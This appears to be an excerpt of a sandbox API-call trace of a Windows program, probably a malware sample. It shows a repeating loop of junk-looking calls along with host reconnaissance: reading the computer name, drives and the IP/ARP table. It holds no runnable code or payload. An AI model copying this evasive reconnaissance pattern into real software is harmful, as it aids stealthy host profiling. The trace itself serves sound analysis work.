	[0050.318] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.318] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.318] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.318] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.318] SetErrorMode (uMode=0x1) returned 0x1
	[0050.318] GetLogicalDrives () returned 0x4
	[0050.318] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c8d28
	[0050.318] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.318] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.318] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.318] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30cfa50
	[0050.318] GetIpNetTable (in: IpNetTable=0x30cfa50, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30cfa50, SizePointer=0xf3d4ac) returned 0x0
	[0050.319] AppendMenuW (hMenu=0x0, uFlags=0x80302428, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.319] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.319] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.319] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.319] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.319] SetErrorMode (uMode=0x1) returned 0x1
	[0050.319] GetLogicalDrives () returned 0x4
	[0050.319] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.319] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30cc560
	[0050.319] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.319] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.320] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.320] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30cfc08
	[0050.320] GetIpNetTable (in: IpNetTable=0x30cfc08, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30cfc08, SizePointer=0xf3d4ac) returned 0x0
	[0050.320] AppendMenuW (hMenu=0x0, uFlags=0x803125dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.320] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.320] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.320] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.320] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.321] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.321] SetErrorMode (uMode=0x1) returned 0x1
	[0050.321] GetLogicalDrives () returned 0x4
	[0050.321] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.321] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c9530
	[0050.321] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.321] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.321] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.321] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d04a0
	[0050.321] GetIpNetTable (in: IpNetTable=0x30d04a0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d04a0, SizePointer=0xf3d4ac) returned 0x0
	[0050.322] AppendMenuW (hMenu=0x0, uFlags=0x80320068, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.322] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.322] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.322] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.323] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.323] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.323] SetErrorMode (uMode=0x1) returned 0x1
	[0050.323] GetLogicalDrives () returned 0x4
	[0050.323] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.323] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30c9d38
	[0050.323] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.323] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.323] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.323] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30cf000
	[0050.323] GetIpNetTable (in: IpNetTable=0x30cf000, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30cf000, SizePointer=0xf3d4ac) returned 0x0
	[0050.324] AppendMenuW (hMenu=0x0, uFlags=0x8033021c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.325] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.325] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.325] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.325] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.325] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.325] SetErrorMode (uMode=0x1) returned 0x1
	[0050.325] GetLogicalDrives () returned 0x4
	[0050.325] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.325] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30cbd58
	[0050.325] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.325] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.325] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.326] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d0130
	[0050.326] GetIpNetTable (in: IpNetTable=0x30d0130, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d0130, SizePointer=0xf3d4ac) returned 0x0
	[0050.326] AppendMenuW (hMenu=0x0, uFlags=0x8033dca8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.326] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.326] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.326] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.326] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.327] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.327] SetErrorMode (uMode=0x1) returned 0x1
	[0050.327] GetLogicalDrives () returned 0x4
	[0050.327] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.327] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30cd570
	[0050.327] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.327] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.327] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.327] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d0658
	[0050.327] GetIpNetTable (in: IpNetTable=0x30d0658, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d0658, SizePointer=0xf3d4ac) returned 0x0
	[0050.328] AppendMenuW (hMenu=0x0, uFlags=0x8034de5c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.328] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.328] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.328] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.328] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.328] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.328] SetErrorMode (uMode=0x1) returned 0x1
	[0050.328] GetLogicalDrives () returned 0x4
	[0050.328] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.328] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30cdd78
	[0050.328] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.328] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.328] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.328] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d1c10
	[0050.328] GetIpNetTable (in: IpNetTable=0x30d1c10, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d1c10, SizePointer=0xf3d4ac) returned 0x0
	[0050.329] AppendMenuW (hMenu=0x0, uFlags=0x8035b8e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.329] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.329] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.329] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.329] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.329] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.329] SetErrorMode (uMode=0x1) returned 0x1
	[0050.329] GetLogicalDrives () returned 0x4
	[0050.329] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.329] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d2ca0
	[0050.329] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.329] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.329] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.330] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d24a8
	[0050.330] GetIpNetTable (in: IpNetTable=0x30d24a8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d24a8, SizePointer=0xf3d4ac) returned 0x0
	[0050.330] AppendMenuW (hMenu=0x0, uFlags=0x8035ba9c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.330] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.330] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.330] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.330] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.330] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.331] SetErrorMode (uMode=0x1) returned 0x1
	[0050.331] GetLogicalDrives () returned 0x4
	[0050.331] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.331] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d74e8
	[0050.331] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.331] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.331] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.331] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d2660
	[0050.331] GetIpNetTable (in: IpNetTable=0x30d2660, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d2660, SizePointer=0xf3d4ac) returned 0x0
	[0050.331] AppendMenuW (hMenu=0x0, uFlags=0x80369528, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.332] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.332] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.332] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.332] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.332] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.332] SetErrorMode (uMode=0x1) returned 0x1
	[0050.332] GetLogicalDrives () returned 0x4
	[0050.332] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.332] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30da518
	[0050.332] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.332] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.332] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.332] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d1dc8
	[0050.332] GetIpNetTable (in: IpNetTable=0x30d1dc8, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d1dc8, SizePointer=0xf3d4ac) returned 0x0
	[0050.333] AppendMenuW (hMenu=0x0, uFlags=0x803796dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.333] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.333] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.333] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.333] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.333] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.333] SetErrorMode (uMode=0x1) returned 0x1
	[0050.333] GetLogicalDrives () returned 0x4
	[0050.333] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.333] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d8d00
	[0050.333] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.333] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.333] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.333] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d29d0
	[0050.333] GetIpNetTable (in: IpNetTable=0x30d29d0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d29d0, SizePointer=0xf3d4ac) returned 0x0
	[0050.334] AppendMenuW (hMenu=0x0, uFlags=0x80387168, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.334] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.334] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.334] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.334] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.334] SetErrorMode (uMode=0x1) returned 0x1
	[0050.334] GetLogicalDrives () returned 0x4
	[0050.335] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.335] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d9d10
	[0050.335] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.335] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.335] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.335] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d2818
	[0050.335] GetIpNetTable (in: IpNetTable=0x30d2818, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d2818, SizePointer=0xf3d4ac) returned 0x0
	[0050.335] AppendMenuW (hMenu=0x0, uFlags=0x8039731c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.335] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.335] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.335] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.336] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.336] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.336] SetErrorMode (uMode=0x1) returned 0x1
	[0050.336] GetLogicalDrives () returned 0x4
	[0050.336] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.336] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x800) returned 0x30d64d8
	[0050.336] GetComputerNameExW (in: NameType=0x4, lpBuffer=0xf3d4c8, nSize=0xf3d6d0 | out: lpBuffer="NQDPDE", nSize=0xf3d6d0) returned 1
	[0050.336] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.336] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x0, SizePointer=0xf3d4ac) returned 0x7a
	[0050.336] RtlAllocateHeap (HeapHandle=0x2c40000, Flags=0x0, Size=0x1a4) returned 0x30d1f80
	[0050.336] GetIpNetTable (in: IpNetTable=0x30d1f80, SizePointer=0xf3d4ac, Order=0 | out: IpNetTable=0x30d1f80, SizePointer=0xf3d4ac) returned 0x0
	[0050.337] AppendMenuW (hMenu=0x0, uFlags=0x803a4da8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.337] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.337] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.337] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
